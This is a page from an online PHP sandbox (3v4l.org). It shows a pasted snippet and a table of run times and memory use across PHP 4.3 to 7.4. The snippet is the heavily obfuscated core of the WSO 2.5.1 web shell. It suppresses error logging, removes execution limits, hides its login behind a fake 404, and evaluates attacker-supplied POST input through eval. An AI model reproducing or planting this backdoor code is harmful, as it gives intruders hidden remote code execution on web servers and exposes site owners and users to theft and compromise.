3v4l.org

run code in 300+ PHP versions simultaneously
<?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo serialize(${$ugtfpiyrum});}else{eval($_POST["\x70\x31"]);}}if(empty($_POST["\x61"])){${"\x47L\x4fB\x41LS"}["\x69s\x76\x65\x78\x79"]="\x64\x65\x66\x61\x75\x6ct\x5f\x61c\x74i\x6f\x6e";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x6f\x65c\x68\x79\x6d\x7ad\x64\x64"]="\x64\x65\x66a\x75\x6c\x74_\x61\x63\x74\x69\x6fn";if(isset(${${"\x47L\x4f\x42\x41LS"}["\x69\x77ir\x6d\x78lqtv\x79\x70"]})&&function_exists("\x61ct\x69\x6f\x6e".${${"\x47L\x4f\x42\x41\x4cS"}["\x75o\x65ch\x79\x6d\x7a\x64\x64\x64"]}))$_POST["a"]=${${"\x47\x4c\x4f\x42ALS"}["i\x73\x76e\x78\x79"]};else$_POST["a"]="\x53e\x63\x49\x6e\x66o";}if(!empty($_POST["\x61"])&&function_exists("actio\x6e".$_POST["\x61"]))call_user_func("\x61\x63\x74\x69\x6f\x6e".$_POST["a"]);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.4.00.0100.01014.98
7.3.120.0100.00614.96
7.3.110.0030.01615.05
7.3.100.0100.00614.84
7.3.90.0070.00714.85
7.3.80.0070.01015.29
7.3.70.0080.00614.73
7.3.60.0090.00314.86
7.3.50.0030.00614.71
7.3.40.0160.00015.03
7.3.30.0000.01614.75
7.3.20.0060.00816.73
7.3.10.0070.01016.48
7.3.00.0060.00316.73
7.2.250.0030.01415.15
7.2.240.0070.01114.72
7.2.230.0150.00614.96
7.2.220.0000.01014.96
7.2.210.0030.01314.89
7.2.200.0070.00315.05
7.2.190.0000.01415.15
7.2.180.0000.01315.09
7.2.170.0040.01214.94
7.1.330.0040.01215.77
7.1.320.0000.01315.82
7.1.310.0030.00715.78
7.1.300.0040.01115.80
7.1.290.0040.01115.74
7.1.280.0090.00615.86
7.1.270.0130.00715.61
7.1.260.0000.01415.43
7.1.70.0000.00817.30
7.1.60.0100.01019.34
7.1.50.0060.01616.98
7.1.00.0000.07722.31
7.0.200.0000.00916.78
7.0.140.0030.07322.00
7.0.110.0070.04719.95
7.0.100.0000.04719.98
7.0.90.0000.04320.10
7.0.80.0000.04319.95
7.0.70.0130.03019.95
7.0.60.0000.05320.13
7.0.50.0030.04020.57
7.0.40.0000.04320.20
7.0.30.0070.05320.19
7.0.20.0100.04320.08
7.0.10.0030.04320.11
7.0.00.0130.03320.04
5.6.280.0030.07320.95
5.6.260.0070.03720.49
5.6.250.0000.04320.67
5.6.240.0100.03320.66
5.6.230.0030.04720.67
5.6.220.0070.04720.67
5.6.210.0030.04320.71
5.6.200.0030.04721.15
5.6.190.0030.04721.16
5.6.180.0070.04021.09
5.6.170.0070.06320.99
5.6.160.0070.04021.18
5.6.150.0030.07320.97
5.6.140.0070.03720.99
5.6.130.0000.05021.12
5.6.120.0070.07720.94
5.6.110.0130.06021.29
5.6.100.0070.06721.11
5.6.90.0070.08021.10
5.6.80.0130.07020.69
5.6.70.0170.06720.36
5.6.60.0070.07320.38
5.6.50.0100.07720.50
5.6.40.0100.07320.45
5.6.30.0000.06720.68
5.6.20.0130.07320.65
5.6.10.0130.07020.50
5.6.00.0130.07020.52
5.5.380.0100.04020.39
5.5.370.0100.06320.31
5.5.360.0030.04320.22
5.5.350.0100.03720.44
5.5.340.0030.04021.02
5.5.330.0000.04720.99
5.5.320.0030.04320.90
5.5.310.0070.04020.98
5.5.300.0000.05720.98
5.5.290.0100.03720.91
5.5.280.0030.06320.73
5.5.270.0030.04320.98
5.5.260.0100.08020.98
5.5.250.0000.07020.74
5.5.240.0100.07020.31
5.5.230.0030.07720.35
5.5.220.0100.07720.11
5.5.210.0070.07720.36
5.5.200.0070.07720.43
5.5.190.0030.06320.29
5.5.180.0200.07020.25
5.5.160.0030.08320.25
5.5.150.0170.06320.16
5.5.140.0070.07720.35
5.5.130.0070.07720.32
5.5.120.0030.09020.42
5.5.110.0130.07020.10
5.5.100.0100.04720.02
5.5.90.0070.06020.05
5.5.80.0130.07020.04
5.5.70.0070.07320.00
5.5.60.0100.07320.10
5.5.50.0100.08019.98
5.5.40.0070.07320.30
5.5.30.0130.07020.27
5.5.20.0030.08320.06
5.5.10.0100.07320.08
5.5.00.0100.04320.07
5.4.450.0030.04019.64
5.4.440.0100.03319.32
5.4.430.0130.03019.27
5.4.420.0130.06719.27
5.4.410.0030.07319.21
5.4.400.0030.08018.99
5.4.390.0100.07319.31
5.4.380.0070.08019.23
5.4.370.0070.07319.18
5.4.360.0030.07719.16
5.4.350.0070.07719.17
5.4.340.0130.05719.31
5.4.320.0030.08019.14
5.4.310.0070.07319.32
5.4.300.0100.07019.34
5.4.290.0100.06719.00
5.4.280.0100.07018.94
5.4.270.0170.04719.00
5.4.260.0130.06719.34
5.4.250.0100.06319.31
5.4.240.0130.07019.00
5.4.230.0100.07718.98
5.4.220.0000.08319.00
5.4.210.0030.04719.00
5.4.200.0100.06719.22
5.4.190.0200.03319.21
5.4.180.0130.06719.30
5.4.170.0130.07318.99
5.4.160.0070.07318.96
5.4.150.0130.05319.18
5.4.140.0030.06716.45
5.4.130.0030.07716.40
5.4.120.0070.07316.36
5.4.110.0130.07016.62
5.4.100.0000.07716.71
5.4.90.0070.07016.52
5.4.80.0130.05716.40
5.4.70.0100.06016.69
5.4.60.0030.07316.54
5.4.50.0100.07316.40
5.4.40.0030.06016.58
5.4.30.0130.06716.42
5.4.20.0130.05716.51
5.4.10.0030.07016.51
5.4.00.0030.06715.98
5.3.290.0100.07014.74
5.3.280.0070.07314.79
5.3.270.0030.08014.73
5.3.260.0000.08314.62
5.3.250.0030.07014.66
5.3.240.0070.07314.64
5.3.230.0070.07714.59
5.3.220.0130.06314.61
5.3.210.0070.05714.58
5.3.200.0070.07714.73
5.3.190.0030.08014.57
5.3.180.0030.07714.74
5.3.170.0000.08014.61
5.3.160.0070.07714.63
5.3.150.0070.07314.83
5.3.140.0000.06314.61
5.3.130.0070.06714.73
5.3.120.0100.04014.57
5.3.110.0030.08314.71
5.3.100.0100.06714.07
5.3.90.0030.07714.07
5.3.80.0070.07713.91
5.3.70.0100.06314.00
5.3.60.0030.07714.07
5.3.50.0030.07714.11
5.3.40.0070.07313.99
5.3.30.0070.06313.91
5.3.20.0100.07313.69
5.3.10.0000.06013.91
5.3.00.0100.07013.63
5.2.170.0000.06011.81
5.2.160.0070.05711.81
5.2.150.0070.06011.81
5.2.140.0000.04011.81
5.2.130.0030.03711.81
5.2.120.0070.05711.81
5.2.110.0100.05711.81
5.2.100.0000.05011.81
5.2.90.0030.05011.81
5.2.80.0030.04011.81
5.2.70.0030.05711.81
5.2.60.0130.05011.81
5.2.50.0100.04311.81
5.2.40.0030.05311.81
5.2.30.0100.05711.81
5.2.20.0070.04311.81
5.2.10.0030.06311.81
5.2.00.0030.05711.81
5.1.60.0070.05311.81
5.1.50.0070.05011.81
5.1.40.0070.05011.81
5.1.30.0070.05311.81
5.1.20.0070.05011.81
5.1.10.0000.06011.81
5.1.00.0000.04011.81
5.0.50.0000.05011.81
5.0.40.0030.04311.81
5.0.30.0030.05011.81
5.0.20.0030.04311.81
5.0.10.0070.02011.81
5.0.00.0000.06311.81
4.4.90.0030.01711.81
4.4.80.0100.03011.81
4.4.70.0030.03311.81
4.4.60.0030.03311.81
4.4.50.0000.03711.81
4.4.40.0000.05711.81
4.4.30.0000.03311.81
4.4.20.0030.03711.81
4.4.10.0070.03011.81
4.4.00.0030.05311.81
4.3.110.0030.03011.81
4.3.100.0030.03311.81
4.3.90.0070.03011.81
4.3.80.0030.05011.81
4.3.70.0030.03311.81
4.3.60.0070.03011.81
4.3.50.0030.03311.81
4.3.40.0000.03711.81
4.3.30.0030.03311.81
4.3.20.0030.03311.81
4.3.10.0000.02311.81
4.3.00.0000.03311.81

preferences:
31.58 ms | 400 KiB | 5 Q